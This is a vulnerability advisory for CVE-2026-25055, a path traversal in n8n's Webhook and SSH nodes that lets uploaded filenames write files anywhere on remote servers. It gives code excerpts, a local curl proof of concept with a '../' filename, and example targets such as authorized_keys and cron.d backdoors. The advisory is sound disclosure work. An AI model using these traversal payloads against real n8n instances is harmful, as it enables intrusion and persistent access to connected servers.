CVE

CVE-2026-25055: n8n Arbitrary File Write on Remote Systems via SSH Node

Gecko Security ResearchArtemiy Malyshau2 minute readHigh 7.7

Path traversal vulnerability in n8n's Webhook node allows attackers to write files to arbitrary locations on remote servers connected via SSH.


Advisory


Description

A path traversal vulnerability in n8n's Webhook node allows attackers to write files to arbitrary locations on remote servers. The node accepts filenames from multipart uploads and Content-Disposition headers without sanitization. When workflows forward uploaded files to the SSH node, the unsanitized filename gets concatenated into the destination path, allowing ../ sequences to escape the target directory.

An attacker who can reach a Webhook endpoint that uploads files via SSH can write files anywhere on the remote server. Filenames like ../../../.ssh/authorized_keys or ../../../etc/cron.d/backdoor lead to RCE or persistent access on any system the n8n instance has credentials for.

Source - Sink Analysis

The vulnerability spans three components:

1. Entry Point - Webhook.node.ts: handleFormData() passes file.originalFilename directly to copyBinaryFile() without validation:

typescript
returnItem.binary![binaryPropertyName] = await context.nodeHelpers.copyBinaryFile(
    file.filepath,
    file.originalFilename ?? file.newFilename,
    file.mimetype,
);

handleBinaryData() does the same with the Content-Disposition header:

typescript
const fileName = req.contentDisposition?.filename ?? uuid();
const binaryData = await context.nodeHelpers.copyBinaryFile(
    binaryFile.path,
    fileName,
    req.contentType ?? 'application/octet-stream',
);

2. Storage - binary-helper-functions.ts: copyBinaryFile() stores the filename as-is:

typescript
if (fileName) {
    returnData.fileName = fileName;
}

3. Sink - Ssh.node.ts: The upload operation concatenates the path:

typescript
await ssh.putFile(
    binaryFile.path,
    `${parameterPath}${parameterPath.charAt(parameterPath.length - 1) === '/' ? '' : '/'}${fileName || binaryData.fileName}`,
);

With parameterPath set to /home/user/uploads/ and binaryData.fileName containing ../../../etc/cron.d/backdoor, the resolved path becomes /etc/cron.d/backdoor.

Proof of Concept

1. Start an SSH server:

bash
docker run -d --name ssh-test -p 2222:2222 \
  -e USER_NAME=testuser \
  -e USER_PASSWORD=test123 \
  -e PASSWORD_ACCESS=true \
  linuxserver/openssh-server

2. Create the target directory:

bash
ssh testuser@localhost -p 2222 "mkdir -p /tmp/uploads"
# password: test123

3. Start n8n:

bash
npx n8n

4. Create the workflow in the n8n UI at http://localhost:5678:

  • Add a Webhook node (POST, path: test-upload) connected to an SSH node
  • SSH node settings: Resource: File, Operation: Upload, Input Binary Field: data, Target Directory: /tmp/uploads/
  • Create SSH credentials with host localhost, port 2222, user testuser, password test123
  • Activate the workflow

5. Send the malicious request:

bash
echo "PWNED" > /tmp/testfile.txt
curl -X POST "http://localhost:5678/webhook/test-upload" \
  -F "data=@/tmp/testfile.txt;filename=../pwned.txt"

6. Confirm the file escaped:

bash
ssh testuser@localhost -p 2222 "cat /tmp/pwned.txt"
# outputs "PWNED" - file landed in /tmp, not /tmp/uploads

Impact

Impact is highest on n8n Cloud and public self-hosted instances. Webhooks are designed to receive external traffic, and the URL only requires guessing a user-defined path like upload or files. No authentication is required by default.

n8n instances typically have SSH credentials to multiple servers for automation purposes. A single vulnerable workflow can compromise any server the instance can reach—deployment servers, databases, backup systems, CI/CD infrastructure.

Attackers can:

  • Write SSH authorized_keys for persistent access
  • Drop cron jobs or systemd services for code execution
  • Overwrite application configs to inject backdoors
  • Compromise any system the n8n instance has SSH credentials for

Product

n8n

Vendor

n8n-io

Version

<2.2.3

CVSS

7.7

Summarize with AI
ChatGPTPerplexityGeminiGrokClaude